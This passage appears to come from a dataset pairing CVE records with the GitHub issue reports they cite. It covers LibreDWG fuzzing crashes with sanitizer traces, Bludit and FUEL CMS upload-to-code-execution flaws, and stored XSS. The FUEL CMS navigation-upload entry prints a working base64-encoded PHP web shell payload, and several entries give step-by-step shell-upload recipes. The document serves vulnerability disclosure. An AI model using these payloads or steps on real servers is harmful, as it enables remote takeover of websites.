Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==19713==ABORTING
```
## POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/11118078/poc.zip)
## Credit
Han Zheng (Hexhive, NCNIPC of China)
| [FUZZ] two bugs in dwg2SVG | https://api.github.com/repos/LibreDWG/libredwg/issues/681/comments | 3 | 2023-03-31T04:10:48Z | 2023-03-31T13:37:12Z | https://github.com/LibreDWG/libredwg/issues/681 | 1,648,637,134 | 681 |
CVE-2023-36273 | 2023-06-23T15:15:10.160 | LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_calc_CRC at bits.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/677#BUG1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gnu:libredwg:0.12.5:*:*:*:*:*:*:*",
"matchCriteriaId": "8B002438-509E-462D-B17E-129197C3E4B3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/LibreDWG/libredwg/issues/677#BUG1 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] |
Hello, I was testing my fuzzer and found two bugs in dwg2dxf, which is different from #368 and #484
## environment
ubuntu 20.04, GCC 9.4.0, libredwg latest commit 77a85621de6e2c7ea44bc48c02e52dac97778ecb
compile with
```
./autogen.sh && ./configure --disable-shared && make -j$(nproc)
```
## BUG1
```
/libredwg/programs/dwg2dxf /pocs/pocs/dwg2dxf/poc0.bit_calc_CRC
Reading DWG file /pocs/pocs/dwg2dxf/poc0.bit_calc_CRC
ERROR: Header CRC mismatch 0003 <=> 3C16
Warning:
@0x3d7 => start 0x3c5
ERROR: DWG_SENTINEL_R11_ENTITIES_BEGIN mismatch
ERROR: DWG_SENTINEL_R11_ENTITIES_END mismatch
....
AddressSanitizer:DEADLYSIGNAL
=================================================================
==78==ERROR: AddressSanitizer: SEGV on unknown address 0x62100a3d71b3 (pc 0x563f38494cff bp 0x7ffd51ea1fa8 sp 0x7ffd51ea09e0 T0)
==78==The signal is caused by a READ memory access.
#0 0x563f38494cfe in bit_calc_CRC /libredwg/src/bits.c:3456
#1 0x563f38db6295 in decode_preR13_auxheader /libredwg/src/decode.c:6278
#2 0x563f38e0736a in decode_preR13 /libredwg/src/decode_r11.c:786
#3 0x563f38d8532a in dwg_decode /libredwg/src/decode.c:217
#4 0x563f38472a67 in dwg_read_file /libredwg/src/dwg.c:261
#5 0x563f38470c9c in main /libredwg/programs/dwg2dxf.c:261
#6 0x7efdc3332082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#7 0x563f3847153d in _start (/libredwg/programs/dwg2dxf+0x23a53d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /libredwg/src/bits.c:3456 in bit_calc_CRC
==78==ABORTING
```
## BUG2
```
/libredwg/programs/dwg2dxf -y /pocs/pocs/dwg2dxf/poc1.bit_write_TF
Reading DWG file /pocs/pocs/dwg2dxf/poc1.bit_write_TF
Warning: Invalid sections: 0 != numgaps: 0 + numsections: 26
ERROR: Invalid .props x 33456
ERROR: bit_read_RC buffer overflow at 1704.1 + 0 > 1704
Warning: Unstable Class entity 504 WIPEOUT (0x87f) 111/0
Warning: Unstable Class object 506 MATERIAL (0x481) 114/0
Warning: Unstable Class object 506 MATERIAL (0x481) 122/0
Warning: Unstable Class object 506 MATERIAL (0x481) 130/0
Warning: Unstable Class object 508 TABLESTYLE (0xfff) 164/0
ERROR: Invalid bitsize 445692418 > 1536
...
=================================================================
==83==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000228f at pc 0x5567bafe7bf1 bp 0x7ffc90495880 sp 0x7ffc90495870
READ of size 1 at 0x62500000228f thread T0
#0 0x5567bafe7bf0 in bit_write_TF /libredwg/src/bits.c:1675
#1 0x5567bbb416b4 in dwg_convert_SAB_to_SAT1 /libredwg/src/out_dxf.c:2150
#2 0x5567bbbb2164 in dxf_3dsolid /libredwg/src/out_dxf.c:2398
#3 0x5567bbbb2164 in dwg_dxf_REGION_private /libredwg/src/dwg.spec:2990
#4 0x5567bbc6acbe in dwg_dxf__3DSOLID /libredwg/src/dwg.spec:2994
#5 0x5567bbc6acbe in dwg_dxf_object /libredwg/src/out_dxf.c:2774
#6 0x5567bbc9ab52 in dxf_entities_write /libredwg/src/out_dxf.c:3635
#7 0x5567bbc9ab52 in dwg_write_dxf /libredwg/src/out_dxf.c:3796
#8 0x5567bafc5ce8 in main /libredwg/programs/dwg2dxf.c:339
#9 0x7f5740a12082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#10 0x5567bafc653d in _start (/libredwg/programs/dwg2dxf+0x23a53d)
0x62500000228f is located 0 bytes to the right of 8591-byte region [0x625000000100,0x62500000228f)
allocated by thread T0 here:
#0 0x7f5740e3ca06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x5567bb00fa85 in decode_3dsolid /libredwg/src/dwg.spec:2706
#2 0x21c6 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:1675 in bit_write_TF
Shadow bytes around the buggy address:
0x0c4a7fff8400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fff8450: 00[07]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff84a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==83==ABORTING
```
## POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/11107648/poc.zip)
## Credit
Han Zheng (NCNIPC of China, Hexhive)
| [FUZZ] two bugs in dwg2dxf | https://api.github.com/repos/LibreDWG/libredwg/issues/677/comments | 2 | 2023-03-30T04:10:56Z | 2023-04-04T14:03:23Z | https://github.com/LibreDWG/libredwg/issues/677 | 1,646,878,719 | 677 |
CVE-2023-36274 | 2023-06-23T15:15:10.213 | LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_write_TF at bits.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/677#BUG2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gnu:libredwg:0.12.5:*:*:*:*:*:*:*",
"matchCriteriaId": "8B002438-509E-462D-B17E-129197C3E4B3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/LibreDWG/libredwg/issues/677#BUG2 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] |
Hello, I was testing my fuzzer and found two bugs in dwg2dxf, which is different from #368 and #484
## environment
ubuntu 20.04, GCC 9.4.0, libredwg latest commit 77a85621de6e2c7ea44bc48c02e52dac97778ecb
compile with
```
./autogen.sh && ./configure --disable-shared && make -j$(nproc)
```
## BUG1
```
/libredwg/programs/dwg2dxf /pocs/pocs/dwg2dxf/poc0.bit_calc_CRC
Reading DWG file /pocs/pocs/dwg2dxf/poc0.bit_calc_CRC
ERROR: Header CRC mismatch 0003 <=> 3C16
Warning:
@0x3d7 => start 0x3c5
ERROR: DWG_SENTINEL_R11_ENTITIES_BEGIN mismatch
ERROR: DWG_SENTINEL_R11_ENTITIES_END mismatch
....
AddressSanitizer:DEADLYSIGNAL
=================================================================
==78==ERROR: AddressSanitizer: SEGV on unknown address 0x62100a3d71b3 (pc 0x563f38494cff bp 0x7ffd51ea1fa8 sp 0x7ffd51ea09e0 T0)
==78==The signal is caused by a READ memory access.
#0 0x563f38494cfe in bit_calc_CRC /libredwg/src/bits.c:3456
#1 0x563f38db6295 in decode_preR13_auxheader /libredwg/src/decode.c:6278
#2 0x563f38e0736a in decode_preR13 /libredwg/src/decode_r11.c:786
#3 0x563f38d8532a in dwg_decode /libredwg/src/decode.c:217
#4 0x563f38472a67 in dwg_read_file /libredwg/src/dwg.c:261
#5 0x563f38470c9c in main /libredwg/programs/dwg2dxf.c:261
#6 0x7efdc3332082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#7 0x563f3847153d in _start (/libredwg/programs/dwg2dxf+0x23a53d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /libredwg/src/bits.c:3456 in bit_calc_CRC
==78==ABORTING
```
## BUG2
```
/libredwg/programs/dwg2dxf -y /pocs/pocs/dwg2dxf/poc1.bit_write_TF
Reading DWG file /pocs/pocs/dwg2dxf/poc1.bit_write_TF
Warning: Invalid sections: 0 != numgaps: 0 + numsections: 26
ERROR: Invalid .props x 33456
ERROR: bit_read_RC buffer overflow at 1704.1 + 0 > 1704
Warning: Unstable Class entity 504 WIPEOUT (0x87f) 111/0
Warning: Unstable Class object 506 MATERIAL (0x481) 114/0
Warning: Unstable Class object 506 MATERIAL (0x481) 122/0
Warning: Unstable Class object 506 MATERIAL (0x481) 130/0
Warning: Unstable Class object 508 TABLESTYLE (0xfff) 164/0
ERROR: Invalid bitsize 445692418 > 1536
...
=================================================================
==83==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000228f at pc 0x5567bafe7bf1 bp 0x7ffc90495880 sp 0x7ffc90495870
READ of size 1 at 0x62500000228f thread T0
#0 0x5567bafe7bf0 in bit_write_TF /libredwg/src/bits.c:1675
#1 0x5567bbb416b4 in dwg_convert_SAB_to_SAT1 /libredwg/src/out_dxf.c:2150
#2 0x5567bbbb2164 in dxf_3dsolid /libredwg/src/out_dxf.c:2398
#3 0x5567bbbb2164 in dwg_dxf_REGION_private /libredwg/src/dwg.spec:2990
#4 0x5567bbc6acbe in dwg_dxf__3DSOLID /libredwg/src/dwg.spec:2994
#5 0x5567bbc6acbe in dwg_dxf_object /libredwg/src/out_dxf.c:2774
#6 0x5567bbc9ab52 in dxf_entities_write /libredwg/src/out_dxf.c:3635
#7 0x5567bbc9ab52 in dwg_write_dxf /libredwg/src/out_dxf.c:3796
#8 0x5567bafc5ce8 in main /libredwg/programs/dwg2dxf.c:339
#9 0x7f5740a12082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#10 0x5567bafc653d in _start (/libredwg/programs/dwg2dxf+0x23a53d)
0x62500000228f is located 0 bytes to the right of 8591-byte region [0x625000000100,0x62500000228f)
allocated by thread T0 here:
#0 0x7f5740e3ca06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x5567bb00fa85 in decode_3dsolid /libredwg/src/dwg.spec:2706
#2 0x21c6 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:1675 in bit_write_TF
Shadow bytes around the buggy address:
0x0c4a7fff8400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fff8440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fff8450: 00[07]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff8490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fff84a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==83==ABORTING
```
## POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/11107648/poc.zip)
## Credit
Han Zheng (NCNIPC of China, Hexhive)
| [FUZZ] two bugs in dwg2dxf | https://api.github.com/repos/LibreDWG/libredwg/issues/677/comments | 2 | 2023-03-30T04:10:56Z | 2023-04-04T14:03:23Z | https://github.com/LibreDWG/libredwg/issues/677 | 1,646,878,719 | 677 |
CVE-2020-20210 | 2023-06-26T18:15:09.407 | Bludit 3.9.2 is vulnerable to Remote Code Execution (RCE) via /admin/ajax/upload-images. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/bludit/bludit/issues/1079"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:bludit:bludit:3.9.2:*:*:*:*:*:*:*",
"matchCriteriaId": "10A81FA4-0E1B-4680-A04F-E4D2267A98E2",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/bludit/bludit/issues/1079 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"bludit",
"bludit"
] | ### A Code Execution Vulnerability in Bludit v3.9.2
#### There is a Code Execution Vulnerability which allow to get server permissions,the url is /admin/ajax/upload-images
#### 1, login with any account which allows you to edit content

#### 2, click the button of Images to upload a picture

#### 3 change the name and content of the file and then upload

and also upload a.htaccess file

The file will now be under the TMP folder

#### 4 visit evil php [http://127.0.0.1/bludit-3-9-2/bl-content/tmp/shell.php](http://127.0.0.1/bludit-3-9-2/bl-content/tmp/shell.php)

### PHP version
PHP 7.3.2
| Bludit v3.9.2 Code Execution Vulnerability in "Images Upload" | https://api.github.com/repos/bludit/bludit/issues/1079/comments | 5 | 2019-08-30T07:47:59Z | 2019-10-24T18:24:36Z | https://github.com/bludit/bludit/issues/1079 | 487,339,964 | 1,079 |
CVE-2020-22151 | 2023-07-03T21:15:09.240 | Permissions vulnerability in Fuel-CMS v.1.4.6 allows a remote attacker to execute arbitrary code via a crafted zip file to the assests parameter of the upload function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/551"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:thedaylightstudio:fuel_cms:1.4.6:*:*:*:*:*:*:*",
"matchCriteriaId": "F67321E5-38B6-455B-8BD2-B8C71878FC72",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/daylightstudio/FUEL-CMS/issues/551 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"daylightstudio",
"FUEL-CMS"
] | 1. First create a php file that executes the command and compress the php file into a zip
<img width="606" alt="1" src="https://user-images.githubusercontent.com/9522862/74303980-98127100-4d96-11ea-9b59-101e6d44d889.png">
<img width="320" alt="2" src="https://user-images.githubusercontent.com/9522862/74304008-b11b2200-4d96-11ea-8039-012dfdde450f.png">
2.Upload files in assets and check Unzip zip files
<img width="782" alt="3" src="https://user-images.githubusercontent.com/9522862/74304057-d740c200-4d96-11ea-8759-b96f7c372bd8.png">
3.Click assets to see the uploaded php file
<img width="1647" alt="4" src="https://user-images.githubusercontent.com/9522862/74304105-f4759080-4d96-11ea-8ab0-b4aee5a5f1b0.png">
4.Execute system command
<img width="507" alt="5" src="https://user-images.githubusercontent.com/9522862/74304129-09522400-4d97-11ea-9e57-f4e286c860b5.png">
| getshell in assets | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/551/comments | 1 | 2020-02-12T04:56:19Z | 2020-09-30T20:49:24Z | https://github.com/daylightstudio/FUEL-CMS/issues/551 | 563,752,895 | 551 |
CVE-2020-22152 | 2023-07-03T21:15:09.293 | Cross Site Scripting vulnerability in daylight studio FUEL- CMS v.1.4.6 allows a remote attacker to execute arbitrary code via the page title, meta description and meta keywords of the pages function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/552"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:thedaylightstudio:fuel_cms:1.4.6:*:*:*:*:*:*:*",
"matchCriteriaId": "F67321E5-38B6-455B-8BD2-B8C71878FC72",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/daylightstudio/FUEL-CMS/issues/552 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"daylightstudio",
"FUEL-CMS"
] | Stored xss in Page title, Meta description, Meta keywords of pages
<img width="1140" alt="xss1" src="https://user-images.githubusercontent.com/9522862/74311085-9a31fb00-4da9-11ea-84a0-b65eb76ba02b.png">
<img width="1146" alt="xss2" src="https://user-images.githubusercontent.com/9522862/74311126-aae27100-4da9-11ea-9f81-e0cd591eed83.png">
Front page:
<img width="908" alt="xss3" src="https://user-images.githubusercontent.com/9522862/74311157-bb92e700-4da9-11ea-80f9-3cde0dd99d16.png">
<img width="1082" alt="xss4" src="https://user-images.githubusercontent.com/9522862/74311161-c0f03180-4da9-11ea-8071-3dd0b1c142e0.png">
<img width="987" alt="xss5" src="https://user-images.githubusercontent.com/9522862/74311168-c51c4f00-4da9-11ea-8a38-6bd3c4666318.png">
<img width="963" alt="xss6" src="https://user-images.githubusercontent.com/9522862/74311169-c64d7c00-4da9-11ea-8334-f06dd70acb39.png">
<img width="1254" alt="xss7" src="https://user-images.githubusercontent.com/9522862/74311173-c8173f80-4da9-11ea-9ce5-d125ac2d0717.png">
| XSS in pages | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/552/comments | 0 | 2020-02-12T07:10:34Z | 2021-04-15T18:33:49Z | https://github.com/daylightstudio/FUEL-CMS/issues/552 | 563,798,483 | 552 |
CVE-2020-22153 | 2023-07-03T21:15:09.340 | File Upload vulnerability in FUEL-CMS v.1.4.6 allows a remote attacker to execute arbitrary code via a crafted .php file to the upload parameter in the navigation function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/553"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:thedaylightstudio:fuel_cms:1.4.6:*:*:*:*:*:*:*",
"matchCriteriaId": "F67321E5-38B6-455B-8BD2-B8C71878FC72",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/daylightstudio/FUEL-CMS/issues/553 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"daylightstudio",
"FUEL-CMS"
] |
<img width="837" alt="c1" src="https://user-images.githubusercontent.com/9522862/74326653-bc397680-4dc5-11ea-9e41-c24b32bf4bad.png">
upload function:
<img width="1006" alt="c2" src="https://user-images.githubusercontent.com/9522862/74326673-c3608480-4dc5-11ea-89d8-9246baff623c.png">
$This-> fuel-> navigation-> upload ($ params) was called
$This-> fuel-> navigation-> upload function:
<img width="696" alt="c3" src="https://user-images.githubusercontent.com/9522862/74326859-1cc8b380-4dc6-11ea-9695-4dc3963702ca.png">
` $file = read_file($file_path);
if (empty($file))
{
return FALSE;
}
// strip any php tags
$file = str_replace('<?php', '', $file);
// run xss_clean on it
$file = xss_clean($file);
// now evaluate the string to get the nav array
@eval($file);`
Only uploaded code <? Php tags replaced with spaces And filtered the xss tags.
Then executed the code @eval ($ file);
So we can construct php code to write webshell to web directory.
code:
<img width="769" alt="c4" src="https://user-images.githubusercontent.com/9522862/74327409-1e46ab80-4dc7-11ea-90fa-d24623c02f28.png">
`file_put_contents("aaaaaa.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWydpZCddKTs/Pg=="));`
Because the <? Php tag is filtered, we use base64 to encode the command execution code
Then upload
<img width="1091" alt="c5" src="https://user-images.githubusercontent.com/9522862/74327601-6ebe0900-4dc7-11ea-95d1-68690e4975a6.png">
Although the error is prompted, our code has been executed, and we can see the generated files on the web and directories.
<img width="652" alt="c6" src="https://user-images.githubusercontent.com/9522862/74327711-9dd47a80-4dc7-11ea-9d4f-08bcb924e5e7.png">
<img width="427" alt="c7" src="https://user-images.githubusercontent.com/9522862/74327794-bb094900-4dc7-11ea-8149-aaae5f8c7193.png">
| Code execution in navigation/upload | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/553/comments | 0 | 2020-02-12T10:44:49Z | 2020-09-30T21:04:55Z | https://github.com/daylightstudio/FUEL-CMS/issues/553 | 563,911,041 | 553 |
Subsets and Splits